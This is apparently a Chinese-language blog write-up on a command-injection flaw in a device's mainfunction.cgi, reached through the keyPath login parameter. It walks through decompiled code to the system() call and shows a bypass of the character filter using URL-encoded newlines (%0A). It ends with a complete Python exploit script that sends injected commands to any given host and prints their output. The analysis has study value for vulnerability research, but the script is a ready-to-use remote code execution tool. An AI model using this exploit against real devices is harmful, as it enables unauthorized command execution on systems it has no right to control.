本文最后更新于:2024年8月14日 凌晨
漏洞查找
使用了lighttpd运行了httpd服务,lighttpd根据lighttpd.conf配置文件部署
根据已提供的信息漏洞就在文件mainfunctuin.cgi
。
根据已提供的信息找到keyPath
的交叉引用,就可以找到对应函数sub_2AB3C
。
有一个system函数,参数为修改的名称sh,那么就需要想办法控制sh即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| haystack = getenv("HTTP_COOKIE"); v0 = getenv("REMOTE_ADDR"); strcpy(sh, "uci get acc_ctrl.access_control.validation_code"); v1 = (char *)sub_21558(sh); strcpy(sh, "uci get acc_ctrl.access_control.fail_times"); v2 = (const char *)sub_21558(sh); v36 = atoi(v2); v3 = (const char *)sub_20ECC(v0, ".", "_"); snprintf(sh, 0x400u, "json -f /tmp/login_ip get ip.%s", v3); v4 = (const char *)sub_21558(sh); v37 = atoi(v4); Value = cgiGetValue(dword_42D0C, "keyPath"); v6 = (const char *)cgiGetValue(dword_42D0C, "loginUser"); v7 = cgiGetValue(dword_42D0C, "loginPwd"); v8 = v6 == 0; if ( v6 ) v8 = v7 == 0; v9 = (const char *)v7; if ( v8 || !Value ) { v14 = cgiGetValue(dword_42D0C, "formusername"); v17 = cgiGetValue(dword_42D0C, "formpassword"); } else { v10 = off_42400[0]; v11 = (const char *)sub_AD58(Value); snprintf(v41, 0x64u, "%s%s%s", v10, "_", v11); sub_AD58(v6); v12 = strlen(v6); v13 = sub_CEC4(v6, v12, v47); sub_CCC8(off_42404[0], v47[0], v13); snprintf(sh, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", v41, off_42404[0]); v14 = sub_21558(sh); sub_AD58(v9); v15 = strlen(v9); v16 = sub_CEC4(v9, v15, v47); sub_CCC8(off_42404[0], v47[0], v16); snprintf(sh, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", v41, off_42404[0]); v17 = sub_21558(sh); snprintf(sh, 0x400u, "rm -f '%s' '%s' '%s'", v41, off_42404[0], v34); system(sh); }
|
从下往上看,我们发现cmd的一个部分v41来自v10与v11,我们考虑对其进行继续跟踪。然而发现v10来自off_42400,为.data:00042400 C4 7E 03 00 off_42400 DCD aTmpRsaPrivateK
也就是/tmp/rsa/private_key
,而v11是Value经过函数sub_AD58
的返回值。函数暂时不深究,我们继续向上回溯分析。
就可以发现,Value就是keypath的值。也就是说如果要传入命令必然经过keyPath。所以这就是注入点了。
尝试注入
在找到注入点之后,我们要分析,注入如何的数据能够走向执行system(sh)的部分。我们标注keyPath传入的数据就是web_cmd,我们可以看见,他会经过一个比较:
1 2 3 4 5
| if ( v8 || !web_cmd ) { v14 = cgiGetValue(web_cmd_buf, "formusername"); v17 = cgiGetValue(web_cmd_buf, "formpassword"); }
|
之后else中才会执行system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| else { str11 = off_42400[0]; str12 = (const char *)sub_AD58(web_cmd); snprintf(str_1, 0x64u, "%s%s%s", str11, "_", str12); sub_AD58(v6); v12 = strlen(v6); v13 = sub_CEC4(v6, v12, v46); sub_CCC8(str_2[0], v46[0], v13); snprintf(cmd, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", str_1, str_2[0]); v14 = sub_21558(sh); sub_AD58(v9); v15 = strlen(v9); v16 = sub_CEC4(v9, v15, v46); sub_CCC8(str_2[0], v46[0], v16); snprintf(cmd, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", str_1, str_2[0]); v17 = sub_21558(sh); snprintf(cmd, 0x400u, "rm -f '%s' '%s' '%s'", str_1, str_2[0], str_3); system(sh); }
|
所以需要构建(v8 || !web_cmd) == false
,而web_cmd我们一定能传进去,所以!web_cmd
一定为false,那么就需要控制v8为0。
v8为Value == 0的布尔值,我们希望v8是false,也就是说Value不是0,而且如果value有了的话,我们也希望v7不是0,这样就能确保v8为0了。
1 2 3
| web_cmd = (unsigned __int8 *)cgiGetValue(web_cmd_buf, (int)"keyPath"); Value = (unsigned __int8 *)cgiGetValue(web_cmd_buf, (int)"loginUser"); v7 = cgiGetValue(web_cmd_buf, (int)"loginPwd");
|
仔细观察发现web_cmd_buf其实依次从keyPath、loginUser、loginPwd取值,最后是从loginPwd取值到web_cmd,Value,v7,所以我们这三个参数都要有,才能满足v8为false。
而唯一直接可控的只有web_cmd,所以都是通过web_cmd构造命令进行注入。
sub_AD58处要传入命令又不想被改为加号,就不能同时出现 ` | ; ? 空格 $(
这一类字符
1 2
| str12 = change_str(web_cmd); snprintf(str_1, 0x64u, "%s%s%s", str11, "_", (const char *)str12);
|
处理之后传给str12,会与str11和_和自己组合,我们为了与他们割裂可以用回车键将自己作为另一个命令。
1 2 3
| snprintf(cmd, 0x400u, "openssl rsautl -inkey '%s' -decrypt -in %s", str_1, str_2[0]); v17 = sub_21558(cmd); snprintf(cmd, 0x400u, "rm -f '%s' '%s' '%s'", str_1, str_2[0], str_3);
|
最后还会做这样一系列的操作。所以我们前后都用回车键将命令分隔开。
综上我们需要构造web_cmd也就是
- POST请求
- /cgi-bin/mainfunction.cgi 在目的ip后面
- action=login
- keyPath不得出现以上字符( ` | ; ? 空格 $( 不可同时出现 )。keyPath是命令。
- keyPath、loginUser、loginPwd都要赋值。
- keyPath前后都要想办法分割。
由于对web不熟,最后才知道可以直接用URL编码%0a去解决嵌套命令的问题,根据poc改exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import argparse import requests def system(host,cmd): cmd = "\'%0A" + cmd + "%0A" try: headers = { "HOST":"10.10.10.2", "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36", "Content-Type": "text/plain; charset=UTF-8", "Accept": "*/*", } url = host + "/cgi-bin/mainfunction.cgi" data = f"action=login&keyPath={cmd}&loginUser=OSLike&loginPwd=abc123" res = requests.post(url=url, data=data,headers=headers) if res.status_code == 200 and res.text != "": print("[+] Command executed successfully") print("[+] Result: \n" + res.text) return res.text else: print('[-] Command execute failed! Nothing...') return 1 except: print('[-] Command execute failed!') if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("host", help="target host") parser.add_argument("cmd", help="command to execute") args = parser.parse_args() system(args.host, "ls")
|
这样就能分别执行rm -f '/tmp/rsa/private_key_ls' '/tmp/rsa/binary_login' 'ls'
了,如果没有%0A去截断,原本的内容会在一行中,执行就会出现问题。